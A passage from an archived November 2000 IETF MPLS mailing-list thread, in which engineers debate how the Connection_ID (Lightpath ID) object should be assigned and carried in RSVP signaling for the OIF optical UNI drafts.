which one really need to carry the connection_ID, > but from what I heard, only ACK and Srefresh can be > exempted from it. > > I would rather we don't have this in UNI ... > So if you can convince your OIF carrier group > representative to take it out, most of us would > have no problem. > > George was in Maui OIF meeting, maybe he can tell > us what's the situation there. > > -Fong > > > -----Original Message----- > > From: Guangzhi Li [mailto:gli@research.att.com] > > Sent: Thursday, November 30, 2000 11:59 AM > > To: Fong Liaw > > Cc: 'Diego Caviglia'; mpls@UU.NET > > Subject: Re: draft-yu-mpls-rsvp-oif-uni-00 > > > > > > Fong: > > > > From signaling point of view, let's clarify something first: > > (1) who generate the "Connection_ID" ? The first-hop-router in the > > network, right. > > (2) Suppose that I am a user node and I want to setup a lightpath. I > > send out a lightpath request throught UNI. Then the first-hop-router > > will try to establish the lightpath. > > (3) When will I get the connection_ID from the network? > > (4) You said that a user node MUST carry the object in every > > subsequent > > RSVP messages it generates. You mean "refresh messages, teardown > > messages, or update messages" ? > > (5) If my understanding is correct, why should a user node bother > > "Connection_ID"? > > (Connection_ID = AS number+source address+local_id). Any ID > > simpler will > > work between UNI. > > > > Please give me more explanation. Thanks, > > > > -- Guangzhi > > > > > > > > Fong Liaw wrote: > > > > > Hi, Diego > > > > > > The official name for ligthpath ID is now "Connection_ID". > > > We are still discussing (among authors) how this > > > object should be used and therefore where it should > > > show up in the messages. Right now, we don't have > > > a clear definition of these from the requirement > > > but this will hopefully be resolved between the > > > carrier group in OIF and the signaling group authors soon. > > > > > > Right now our proposal is the following: > > > > > > "The Connection_ID object will be an optional > > > object in all RSVP messages. However, once a > > > Connection_ID is assigned by the network, > > > a user node MUST carry the object in every > > > subsequent RSVP message it generates." > > > > > > This phrase gives network the freedom of generating > > > or not generating a Connection_ID, and if they do > > > generate one, a user node will play it back to > > > the network. A connection is still identified by > > > RSVP Session object, at the UNI. > > > > > > -Fong > > > > > > > -----Original Message----- > > > > From: Diego Caviglia [mailto:Diego.Caviglia@marconi.com] > > > > Sent: Thursday, November 30, 2000 5:54 AM > > > > To: mpls@UU.NET > > > > Subject: draft-yu-mpls-rsvp-oif-uni-00 > > > > > > > > > > > > > > > > > > > > Fong, > > > > I've seen that w.r.t. the OIF version of this > > > > draft a Lightpath > > > > ID object is introduced but in the message definition I > > > > can't find it. > > > > > > > > If it is not a mistake, could someone explain in wich > > > > message Lightpath ID must > > > > be inserted? > > > > > > > > Regards Diego. > > > > > > > > > > --------------724FF2E5AED0323D0E5109C4 Content-Type: text/x-vcard; charset=us-ascii; name="Dimitri.Papadimitriou.vcf" Content-Description: Card for Papadimitriou Dimitri Content-Disposition: attachment; filename="Dimitri.Papadimitriou.vcf" Content-Transfer-Encoding: 7bit begin:vcard n:Dimitri;Papadimitriou Dimitri tel;home:+322-3434361 tel;work:+323-2408491 x-mozilla-html:FALSE org:Alcatel;Corporate Research Center adr:;;Francis Wellesplein, 1;Antwerpen;Antwerpen;B-2018;Belgium version:2.1 email;internet:Dimitri.Papadimitriou@alcatel.be title:Telecom R&D Engineer fn:Papadimitriou Dimitri end:vcard --------------724FF2E5AED0323D0E5109C4-- From owner-mpls@UU.NET Thu Nov 30 16:41:24 2000 Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40]) by ietf.org (8.9.1a/8.9.1a) with SMTP id QAA29260 for ; Thu, 30 Nov 2000 16:41:23 -0500 (EST) Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjrpe01499; Thu, 30 Nov 2000 21:40:26 GMT Received: by mail-control.mail.uu.net id QQjrpe25027 for mpls-outgoing; Thu, 30 Nov 2000 21:40:04 GMT Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47]) id QQjrpe25020 for ; Thu, 30 Nov 2000 21:40:00 GMT Received: from cmr2.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40]) id QQjrpe02279 for ; Thu, 30 Nov 2000 21:38:55 GMT Received: from hoemail2.firewall.lucent.com by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: hoemail2.lucent.com [192.11.226.163]) id QQjrpe29245 for ; Thu, 30 Nov 2000 21:38:54 GMT Received: from hoemail2.firewall.lucent.com (localhost [127.0.0.1]) by hoemail2.firewall.lucent.com (Pro-8.9.3/8.9.3) with ESMTP id QAA17215 for ; Thu, 30 Nov 2000 16:38:54 -0500 (EST) Received: from mvmail.mv.lucent.com (h135-13-96-58.lucent.com [135.13.96.58]) by hoemail2.firewall.lucent.com (Pro-8.9.3/8.9.3) with ESMTP id QAA17207; Thu, 30 Nov 2000 16:38:54 -0500 (EST) Received: from lucent.com (ma0940xuyg.mv.lucent.com [135.13.36.111]) by mvmail.mv.lucent.com (8.8.8+Sun/EMS-1.5 sol2) id QAA17286; Thu, 30 Nov 2000 16:38:53 -0500 (EST) Message-ID: <3A26C8EC.B7C65FCF@lucent.com> Date: Thu, 30 Nov 2000 16:38:52 -0500 From: Yangguang Xu Organization: Lucent Technologies, Inc. X-Mailer: Mozilla 4.7 [en]C-EMS-1.4 (Win95; I) X-Accept-Language: en MIME-Version: 1.0 To: Papadimitriou Dimitri CC: Fong Liaw , "'Guangzhi Li'" , "'Diego Caviglia'" , mpls@UU.NET Subject: Re: draft-yu-mpls-rsvp-oif-uni-00 References: <4611AD058694D4118FD5009027B0A6622B8912@ICARIAN> <3A26C4AD.430D3615@alcatel.be> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-mpls@UU.NET Precedence: bulk Content-Transfer-Encoding: 7bit Dimitri, You may notice that some details of draft-bala-mpls-optical-uni-signaling-00.txt need to be updated to reflect the "upcoming" latest OIF UNI signaling spec. Lightpath ID is one example. Yangguang Papadimitriou Dimitri wrote: > > Hi, > > Please check the document draft-bala-mpls-optical-uni-signaling-00.txt > This draft reflects ongoing work at the Optical Interworking Forum > (OIF) and the Optical Domain Service Interconnect (ODSI) coalition > on the optical UNI [2]. (dixit) > > In this draft you will find that: > > Connection ID is explicitly needed in > Create response (specified since assigned by the network) > Delete request/response > Modify request/response > Status request/response > Notification message > > Within the Create request the connection ID is unspecified > > You will find within this draft the definition of lightpath ID (dixit) > Lightpath ID: A network-wide unique identifier for a lightpath. > This identifier is assigned by the optical network. It consists > of the IP address of an OXC along with a locally unique index. > > Hope this helps you. > > Regards, > > Dimitri. > > Fong Liaw wrote: > > > Guangzhi > > > > I was not in the Maui meeting but what was > > advocated (by carrier group members) and agreed > > is that the signaling protocol MUST carry a > > "network assigned" ID as lightpath identifier. > > > > I completely agree with you that the Session > > object would serve the purpose at UNI, but OIF > > carrier group apparently think otherwise. > > My proposal in last email is a compromise. > > > > The MUST part applies only after it is assigned, > > most likely by Resv Message from network->user and in > > Path message from network->user (i.e. first hop network > > node). We can go though the messages one by one to > > see which one really need to carry the connection_ID, > > but from what I heard, only ACK and Srefresh can be > > exempted from it. > > > > I would rather we don't have this in UNI ... > > So if you can convince your OIF carrier group > > representative to take it out, most of us would > > have no problem. > > > > George was in Maui OIF meeting, maybe he can tell > > us what's the situation there. > > > > -Fong > > > > > -----Original Message----- > > > From: Guangzhi Li [mailto:gli@research.att.com] > > > Sent: Thursday, November 30, 2000 11:59 AM > > > To: Fong Liaw > > > Cc: 'Diego Caviglia'; mpls@UU.NET > > > Subject: Re: draft-yu-mpls-rsvp-oif-uni-00 > > > > > > > > > Fong: > > > > > > From signaling point of view, let's clarify something first: > > > (1) who generate the "Connection_ID" ? The first-hop-router in the > > > network, right. > > > (2) Suppose that I am a user node and I want to setup a lightpath. I > > > send out a lightpath request throught UNI. Then the first-hop-router > > > will try to establish the lightpath. > > > (3) When will I get the connection_ID from the network? > > > (4) You said that a user node MUST carry the object in every > > > subsequent > > > RSVP messages it generates. You mean "refresh messages, teardown > > > messages, or update messages" ? > > > (5) If my understanding is correct, why should a user node bother > > > "Connection_ID"? > > > (Connection_ID = AS number+source address+local_id). Any ID > > > simpler will > > > work between UNI. > > > > > > Please give me more explanation. Thanks, > > > > > > -- Guangzhi > > > > > > > > > > > > Fong Liaw wrote: > > > > > > > Hi, Diego > > > > > > > > The official name for ligthpath ID is now "Connection_ID". > > > > We are still discussing (among authors) how this > > > > object should be used and therefore where it should > > > > show up in the messages. Right now, we don't have > > > > a clear definition of these from the requirement > > > > but this will hopefully be resolved between the > > > > carrier group in OIF and the signaling group authors soon. > > > > > > > > Right now our proposal is the following: > > > > > > > > "The Connection_ID object will be an optional > > > > object in all RSVP messages. However, once a > > > > Connection_ID is assigned by the network, > > > > a user node MUST carry the object in every > > > > subsequent RSVP message it generates." > > > > > > > > This phrase gives network the freedom of generating > > > > or not generating a Connection_ID, and if they do > > > > generate one, a user node will play it back to > > > > the network. A connection is still identified by > > > > RSVP Session object, at the UNI. > > > > > > > > -Fong > > > > > > > > > -----Original Message----- > > > > > From: Diego Caviglia [mailto:Diego.Caviglia@marconi.com] > > > > > Sent: Thursday, November 30, 2000 5:54 AM > > > > > To: mpls@UU.NET > > > > > Subject: draft-yu-mpls-rsvp-oif-uni-00 > > > > > > > > > > > > > > > > > > > > > > > > > Fong, > > > > > I've seen that w.r.t. the OIF version of this > > > > > draft a Lightpath > > > > > ID object is introduced but in the message definition I > > > > > can't find it. > > > > > > > > > > If it is not a mistake, could someone explain in wich > > > > > message Lightpath ID must > > > > > be inserted? > > > > > > > > > > Regards Diego. > > > > > > > > > > > > > From owner-mpls@UU.NET Thu Nov 30 16:44:31 2000 Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40]) by ietf.org (8.9.1a/8.9.1a) with SMTP id QAA00338 for ; Thu, 30 Nov 2000 16:44:30 -0500 (EST) Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjrpe05813; Thu, 30 Nov 2000 21:43:22 GMT Received: by mail-control.mail.uu.net id QQjrpe25280 for mpls-outgoing; Thu, 30 Nov 2000 21:42:47 GMT Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47]) id QQjrpe25254 for ; Thu, 30 Nov 2000 21:42:41 GMT Received: from cmr1.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39]) id QQjrpe10208 for ; Thu, 30 Nov 2000 21:41:28 GMT Received: from icarian.ZAFFIRE.COM by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: netscreen10.zaffire.com [64.232.69.132]) id QQjrpe07915 for ; Thu, 30 Nov 2000 21:41:28 GMT Received: by ICARIAN with Internet Mail Service (5.5.2650.21) id ; Thu, 30 Nov 2000 13:42:13 -0800 Message-ID: <4611AD058694D4118FD5009027B0A6622B8915@ICARIAN> From: Fong Liaw To: "'Papadimitriou Dimitri'" , Fong Liaw Cc: "'Guangzhi Li'" , "'Diego Caviglia'" , mpls@UU.NET Subject: RE: draft-yu-mpls-rsvp-oif-uni-00 Date: Thu, 30 Nov 2000 13:42:12 -0800 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain Sender: owner-mpls@UU.NET Precedence: bulk draft-bala-mpls-optical-uni-signaling-00.txt is updated by draft-bala-mpls-optical-uni-signaling-01.txt already. However it is still subject to change according to events in OIF. Authors of this draft are just being information by the carrier group representative that they are working on more specific protocol related requirements regarding this now ... So let's give them a bit of time to sort through it and not burden the list with questions that we can not resolve here. However, if you have input that does not based on carrier group's requirements, please do let us know. I believe we should have some preliminary clarification by the time of the IETF meeting ... -Fong > -----Original Message----- > From: Papadimitriou Dimitri [mailto:Dimitri.Papadimitriou@alcatel.be] > Sent: Thursday, November 30, 2000 1:21 PM > To: Fong Liaw > Cc: 'Guangzhi Li'; 'Diego Caviglia'; mpls@UU.NET > Subject: Re: draft-yu-mpls-rsvp-oif-uni-00 > > > Hi, > > Please check the document > draft-bala-mpls-optical-uni-signaling-00.txt > This draft reflects ongoing work at the Optical Interworking Forum > (OIF) and the Optical Domain Service Interconnect (ODSI) coalition > on the optical UNI [2]. (dixit) > > In this draft you will find that: > > Connection ID is explicitly needed in > Create response (specified since assigned by the network) > Delete request/response > Modify request/response > Status request/response > Notification message > > Within the Create request the connection ID is unspecified > > You will find within this draft the definition of lightpath > ID (dixit) > Lightpath ID: A network-wide unique identifier for a lightpath. > This identifier is assigned by the optical network. It consists > of the IP address of an OXC along with a locally unique index. > > Hope this helps you. > > Regards, > > Dimitri. > > Fong Liaw wrote: > > > Guangzhi > > > > I was not in the Maui meeting but what was > > advocated (by carrier group members) and agreed > > is that the signaling protocol MUST carry a > > "network assigned" ID as lightpath identifier. > > > > I completely agree with you that the Session > > object would serve the purpose at UNI, but OIF > > carrier group apparently think otherwise. > > My proposal in last email is a compromise. > > > > The MUST part applies only after it is assigned, > > most likely by Resv Message from network->user and in > > Path message from network->user (i.e. first hop network > > node). We can go though the messages one by one to > > see which one really need to carry the connection_ID, > > but from what I heard, only ACK and Srefresh can be > > exempted from it. > > > > I would rather we don't have this in UNI ... > > So if you can convince your OIF carrier group > > representative to take it out, most of us would > > have no problem. > > > > George was in Maui OIF meeting, maybe he can tell > > us what's the situation there. > > > > -Fong > > > > > -----Original Message----- > > > From: Guangzhi Li [mailto:gli@research.att.com] > > > Sent: Thursday, November 30, 2000 11:59 AM > > > To: Fong Liaw > > > Cc: 'Diego Caviglia'; mpls@UU.NET > > > Subject: Re: draft-yu-mpls-rsvp-oif-uni-00 > > > > > > > > > Fong: > > > > > > From signaling point of view, let's clarify something first: > > > (1) who generate the "Connection_ID" ? The > first-hop-router in the > > > network, right. > > > (2) Suppose that I am a user node and I want to setup a > lightpath. I > > > send out a lightpath request throught UNI. Then the > first-hop-router > > > will try to establish the lightpath. > > > (3) When will I get the connection_ID from the network? > > > (4) You said that a user node MUST carry the object in every > > > subsequent > > > RSVP messages it generates. You mean "refresh messages, teardown > > > messages, or update messages" ? > > > (5) If my understanding is correct, why should a user > node bother > > > "Connection_ID"? > > > (Connection_ID = AS number+source address+local_id). Any ID > > > simpler will > > > work between UNI. > > > > > > Please give me more explanation. Thanks, > > > > > > -- Guangzhi > > > > > > > > > > > > Fong Liaw wrote: > > > > > > > Hi, Diego > > > > > > > > The official name for ligthpath ID is now "Connection_ID". > > > > We are still discussing (among authors) how this > > > > object should be used and therefore where it should > > > > show up in the messages. Right now, we don't have > > > > a clear definition of these from the requirement > > > > but this will hopefully be resolved between the > > > > carrier group in OIF and the signaling group authors soon. > > > > > > > > Right now our proposal is the following: > > > > > > > > "The Connection_ID object will be an optional > > > > object in all RSVP messages. However, once a > > > > Connection_ID is assigned by the network, > > > > a user node MUST carry the object in every > > > > subsequent RSVP message it generates." > > > > > > > > This phrase gives network the freedom of generating > > > > or not generating a Connection_ID, and if they do > > > > generate one, a user node will play it back to > > > > the network. A connection is still identified by > > > > RSVP Session object, at the UNI. > > > > > > > > -Fong > > > > > > > > > -----Original Message----- > > > > > From: Diego Caviglia [mailto:Diego.Caviglia@marconi.com] > > > > > Sent: Thursday, November 30, 2000 5:54 AM > > > > > To: mpls@UU.NET > > > > > Subject: draft-yu-mpls-rsvp-oif-uni-00 > > > > > > > > > > > > > > > > > > > > > > > > > Fong, > > > > > I've seen that w.r.t. the OIF > version of this > > > > > draft a Lightpath > > > > > ID object is introduced but in the message definition I > > > > > can't find it. > > > > > > > > > > If it is not a mistake, could someone explain in wich > > > > > message Lightpath ID must > > > > > be inserted? > > > > > > > > > > Regards Diego. > > > > > > > > > > > > > > From owner-mpls@UU.NET Thu Nov 30 16:57:53 2000 Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id QAA05160 for ; Thu, 30 Nov 2000 16:57:52 -0500 (EST) Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjrpf28713; Thu, 30 Nov 2000 21:56:24 GMT Received: by mail-control.mail.uu.net id QQjrpf26403 for mpls-outgoing; Thu, 30 Nov 2000 21:55:45 GMT Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47]) id QQjrpf26391 for ; Thu, 30 Nov 2000 21:55:41 GMT Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38]) id QQjrpf21869 for ; Thu, 30 Nov 2000 21:55:03 GMT Received: from icarian.ZAFFIRE.COM by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: netscreen10.zaffire.com [64.232.69.132]) id QQjrpf03407 for ; Thu, 30 Nov 2000 21:55:02 GMT Received: by ICARIAN with Internet Mail Service (5.5.2650.21) id ; Thu, 30 Nov 2000 13:55:51 -0800 Message-ID: <4611AD058694D4118FD5009027B0A6622B8916@ICARIAN> From: Fong Liaw To: "'Papadimitriou Dimitri'" , Fong Liaw , mpls Subject: RE: Questions concerning: draft-yu-mpls-rsvp-oif-uni-00.txt Date: Thu, 30 Nov 2000 13:55:50 -0800 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C05B18.4D924C30" Sender: owner-mpls@UU.NET Precedence: bulk This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01C05B18.4D924C30 Content-Type: text/plain Dimitri Regarding the address format. There is an agreed requirement to do "address resolution" for exactly the reason you mentioned. If the network's native address format is not IP, then it may make sense to use another format in Session object. This can be easily extended, but they will still be assigned by user, not the network. John is in the process of writing this up which would include procedures and object format. Note that the UNI optical nodes still need to have an IP address since all the control messages using IP. How do you know the destination client's address, just like telephone numbers, you get it from other source. -Fong -----Original Message----- From: Papadimitriou Dimitri [mailto:Dimitri.Papadimitriou@alcatel.be] Sent: Thursday, November 30, 2000 1:06 PM To: FLiaw@zaffire.com; mpls Subject: Questions concerning: draft-yu-mpls-rsvp-oif-uni-00.txt Hello, I have some questions concerning the draft: draft-yu-mpls-rsvp-oif-uni-00.txt The official name for ligthpath ID is now "Connection_ID", So By refering to the draft: draft-many-carrier-framework-uni-00.txt 3.3.1 Identification Attributes [...] - connection identifier: a globally unique identifier for the connection. This identifier will be assigned by the network. The globally unique connection identifier will be created using a globally unique carrier identifier (identifying the carrier from which the connection request is sourced) and a carrier unique connection identifier. This attribute is not modifiable (i.e. cannot be modified using the modify command). By refering to the draft: draft-yu-mpls-rsvp-oif-uni-00.txt 3.2.4 Lightpath_ID Object The Lightpath_ID object is used to uniquely determine a lightpath within the optical network. Lightpath_ID object has the following format: - IPv4 source address: This is the address (32 bits) for the source UNI-C who originates the lightpath. - IPv4 destination address: This is the address (32 bits) for the destination UNI-C who terminates the lightpath. - Ligthpath number: This is the unique identifier (64 bits) in the network to be associated with the lightpath. Questions are the following: I think that carrier identifier means 'optical network identifier' not the client network (so the UNI-Client address should not be the included within the lightpath ID) ? Secondly i do not understand why the ONE has to assign an IP address belonging to the signaling plane. Imagine that the address space of the signaling plane (i.e. control plane) changes then you have to change all the identifiers of the lightpaths (or connections) which by definitions are included within the transport plane. This solution does not guarantee the independancy between the signaling and the transport plane. Do you agree ? Imagine that you may use the UNI-C as identifier, then I do not understand why you need to include the destination UNI-C IP address within the lightpath ID. Moreover, how do you know the relationship between UNI-C and the destination client address (or name) ? Regards, Dimitri. ------_=_NextPart_001_01C05B18.4D924C30 Content-Type: text/html

Dimitri
 
Regarding the address format. There is an agreed requirement
to do "address resolution" for exactly the reason you mentioned.
If the network's native address format is not IP, then it may make
sense to use another format in Session object. This can be easily
extended, but  they will still be assigned by user, not the network. 
 
John is in the process of writing this up which would include procedures
and object format.  Note that the UNI optical nodes still need
to have an IP address since all the control messages using IP.
 
How do you know the destination client's address, just like telephone
numbers, you get it from other source.
 
-Fong
-----Original Message-----
From: Papadimitriou Dimitri [mailto:Dimitri.Papadimitriou@alcatel.be]
Sent: Thursday, November 30, 2000 1:06 PM
To: FLiaw@zaffire.com; mpls
Subject: Questions concerning: draft-yu-mpls-rsvp-oif-uni-00.txt

Hello,

I have some questions concerning the draft: draft-yu-mpls-rsvp-oif-uni-00.txt

The official name for ligthpath ID is now "Connection_ID", So
By refering to the draft: draft-many-carrier-framework-uni-00.txt

3.3.1 Identification Attributes

   [...]

   - connection identifier: a globally unique identifier for the
     connection.  This identifier will be assigned by the network.  The
     globally unique connection identifier will be created using a
     globally unique carrier identifier (identifying the carrier from
     which the connection request is sourced) and a carrier unique
     connection identifier.  This attribute is not modifiable (i.e.
     cannot be modified using the modify command).
 

By refering to the draft: draft-yu-mpls-rsvp-oif-uni-00.txt

3.2.4 Lightpath_ID Object
 
   The Lightpath_ID object is used to uniquely determine a lightpath
   within the optical network. Lightpath_ID object has the following
   format: 
  - IPv4 source address: This is the address (32 bits) for the source
     UNI-C who originates the lightpath.
  - IPv4 destination address: This is the address (32 bits) for the
     destination UNI-C who terminates the lightpath.
  - Ligthpath number: This is the unique identifier (64 bits) in the
     network to be associated with the lightpath.
 

Questions are the following:

I think that carrier identifier means 'optical network identifier' not the
client network (so the UNI-Client address should not be the included
within the lightpath ID) ?

Secondly i do not understand why the ONE has to assign an IP address belonging
to the signaling plane. Imagine that the address space of the signaling plane
(i.e. control plane) changes then you have to change all the identifiers of
the lightpaths (or connections) which by definitions are included within the
transport plane. This solution does not guarantee the independancy between
the signaling and the transport plane. Do you agree ?

Imagine that you may use the UNI-C as identifier, then I do not understand why
you need to include the destination UNI-C IP address within the lightpath ID.
Moreover, how do you know the relationship between UNI-C and the destination
client address (or name) ?

Regards,

Dimitri.

------_=_NextPart_001_01C05B18.4D924C30-- From owner-mpls@UU.NET Thu Nov 30 18:24:07 2000 Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40]) by ietf.org (8.9.1a/8.9.1a) with SMTP id SAA23539 for ; Thu, 30 Nov 2000 18:24:07 -0500 (EST) Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjrpl23039; Thu, 30 Nov 2000 23:23:02 GMT Received: by mail-control.mail.uu.net id QQjrpl27831 for mpls-outgoing; Thu, 30 Nov 2000 23:22:40 GMT Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47]) id QQjrpl27774 for ; Thu, 30 Nov 2000 23:22:32 GMT Received: from cmr1.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39]) id QQjrpl13183 for ; Thu, 30 Nov 2000 23:21:46 GMT Received: from relay2.alcatel.be by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: alc239.alcatel.be [195.207.101.239]) id QQjrpl24563 for ; Thu, 30 Nov 2000 23:21:45 GMT Received: from bemail05.net.alcatel.be (localhost [127.0.0.1]) by relay2.alcatel.be (8.10.1/8.10.1) with SMTP id eAUNIu615686; Fri, 1 Dec 2000 00:18:56 +0100 (MET) Received: from alcatel.be ([138.203.253.211]) by bemail05.net.alcatel.be (Lotus SMTP MTA v4.6.7 (934.1 12-30-1999)) with SMTP id C12569A7.00804D19; Fri, 1 Dec 2000 00:21:24 +0100 Message-ID: <3A26E0FD.32F3E846@alcatel.be> Date: Fri, 01 Dec 2000 00:21:33 +0100 From: Papadimitriou Dimitri X-Mailer: Mozilla 4.72 [en] (WinNT; I) X-Accept-Language: en MIME-Version: 1.0 To: Fong Liaw , Yangguang Xu CC: mpls Subject: Re: Questions concerning: draft-yu-mpls-rsvp-oif-uni-00.txt References: <4611AD058694D4118FD5009027B0A6622B8916@ICARIAN> Content-Type: multipart/mixed; boundary="------------0C87867A638CDB4714C4F8E9" Sender: owner-mpls@UU.NET Precedence: bulk This is a multi-part message in MIME format. --------------0C87867A638CDB4714C4F8E9 Content-Type: multipart/alternative; boundary="------------E74101B3A83F649F83584445" --------------E74101B3A83F649F83584445 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Hi all, If refer to the new version of this draft: draft-many-carrier-framework-uni-01.txt (Thanks Yangguang to make the remark.) The lightpath ID is identified as: A network-wide unique 64-bit identifier for a lightpath. This identifier is assigned by the optical network (dxit) And in fact most of the parameter definitions map the carrier requirement draft which is the following: carrier-ID - identifier whose draft is 'the guideline' for the definition of the parameters at the OIF as far as i now (or it has change from the last OIF meeting in MAUI until now) Moreover, there is no relationship between the source and destination address (of the client address space) and the lightpath identifiers. UNI-C and UNI-N IP addresses are dedicated to IP signaling between the client and the network not to identify the lightpaths nor the source and destination address of the lightpath create requests. Source and destination included within the create request are defined as (dixit 6.3.1) 3. Source/destination client point of attachment: This has two components, an optical-network-administered IP address and an optional logical port information. The latter consists of a port index, a channel index and a sub-channel index. The question related to destination UNI-C, is that the source ONE does not know the destination UNI-C address (simply it does not have to know this address). The lightpath create request is sent from the source to the destination IP address of the source and destination ONE. Dimitri. Fong Liaw wrote: > Dimitri Regarding the address format. There is an agreed > requirementto do "address resolution" for exactly the reason you > mentioned.If the network's native address format is not IP, then it > may makesense to use another format in Session object. This can be > easily extended, but they will still be assigned by user, not the > network. John is in the process of writing this up which would include > proceduresand object format. Note that the UNI optical nodes still > needto have an IP address since all the control messages using IP.How > do you know the destination client's address, just like > telephonenumbers, you get it from other source.-Fong > > -----Original Message----- > From: Papadimitriou Dimitri > [mailto:Dimitri.Papadimitriou@alcatel.be] > Sent: Thursday, November 30, 2000 1:06 PM > To: FLiaw@zaffire.com; mpls > Subject: Questions concerning: > draft-yu-mpls-rsvp-oif-uni-00.txt > > Hello, > > I have some questions concerning the draft: > draft-yu-mpls-rsvp-oif-uni-00.txt > > The official name for ligthpath ID is now "Connection_ID", > So > By refering to the draft: > draft-many-carrier-framework-uni-00.txt > > 3.3.1 Identification Attributes > > [...] > > - connection identifier: a globally unique identifier for > the > connection. This identifier will be assigned by the > network. The > globally unique connection identifier will be created > using a > globally unique carrier identifier (identifying the > carrier from > which the connection request is sourced) and a carrier > unique > connection identifier. This attribute is not > modifiable (i.e. > cannot be modified using the modify command). > > > By refering to the draft: draft-yu-mpls-rsvp-oif-uni-00.txt > > 3.2.4 Lightpath_ID Object > > The Lightpath_ID object is used to uniquely determine a > lightpath > within the optical network. Lightpath_ID object has the > following > format: > - IPv4 source address: This is the address (32 bits) for > the source > UNI-C who originates the lightpath. > - IPv4 destination address: This is the address (32 bits) > for the > destination UNI-C who terminates the lightpath. > - Ligthpath number: This is the unique identifier (64 > bits) in the > network to be associated with the lightpath. > > > Questions are the following: > > I think that carrier identifier means 'optical network > identifier' not the > client network (so the UNI-Client address should not be the > included > within the lightpath ID) ? > > Secondly i do not understand why the ONE has to assign an IP > address belonging > to the signaling plane. Imagine that the address space of > the signaling plane > (i.e. control plane) changes then you have to change all the > identifiers of > the lightpaths (or connections) which by definitions are > included within the > transport plane. This solution does not guarantee the > independancy between > the signaling and the transport plane. Do you agree ? > > Imagine that you may use the UNI-C as identifier, then I do > not understand why > you need to include the destination UNI-C IP address within > the lightpath ID. > Moreover, how do you know the relationship between UNI-C and > the destination > client address (or name) ? > > Regards, > > Dimitri. > --------------E74101B3A83F649F83584445 Content-Type: text/html; charset=us-ascii Content-Transfer-Encoding: 7bit Hi all,

If refer to the new version of this draft: draft-many-carrier-framework-uni-01.txt
(Thanks Yangguang to make the remark.)

The lightpath ID is identified as: A network-wide unique 64-bit identifier for a
lightpath. This identifier is assigned by the optical network (dxit)

And in fact most of the parameter definitions map the carrier requirement
draft which is the following: carrier-ID - identifier whose draft is 'the guideline'
for the definition of the parameters at the OIF as far as i now (or it has change
from the last OIF meeting in MAUI until now)

Moreover, there is no relationship between the source and destination
address (of the client address space) and the lightpath identifiers.
UNI-C and UNI-N IP addresses are dedicated to IP signaling between
the client and the network not to identify the lightpaths nor the source and
destination address of the lightpath create requests.
Source and destination included within the create request are defined as (dixit 6.3.1)
3. Source/destination client point of attachment: This has two
    components, an optical-network-administered IP address and an
    optional logical port information. The latter consists of a port
    index, a channel index and a sub-channel index.

The question related to destination UNI-C, is that the source ONE does not know
the destination UNI-C address (simply it does not have to know this address).
The lightpath create request is sent from the source to the destination IP address
of the source and destination ONE.

Dimitri.
 
 

Fong Liaw wrote:

 Dimitri Regarding the address format. There is an agreed requirementto do "address resolution" for exactly the reason you mentioned.If the network's native address format is not IP, then it may makesense to use another format in Session object. This can be easily extended, but  they will still be assigned by user, not the network. John is in the process of writing this up which would include proceduresand object format.  Note that the UNI optical nodes still needto have an IP address since all the control messages using IP.How do you know the destination client's address, just like telephonenumbers, you get it from other source.-Fong
-----Original Message-----
From: Papadimitriou Dimitri [mailto:Dimitri.Papadimitriou@alcatel.be]
Sent: Thursday, November 30, 2000 1:06 PM
To: FLiaw@zaffire.com; mpls
Subject: Questions concerning: draft-yu-mpls-rsvp-oif-uni-00.txt
 
Hello,

I have some questions concerning the draft: draft-yu-mpls-rsvp-oif-uni-00.txt

The official name for ligthpath ID is now "Connection_ID", So
By refering to the draft: draft-many-carrier-framework-uni-00.txt

3.3.1 Identification Attributes

   [...]

   - connection identifier: a globally unique identifier for the
     connection.  This identifier will be assigned by the network.  The
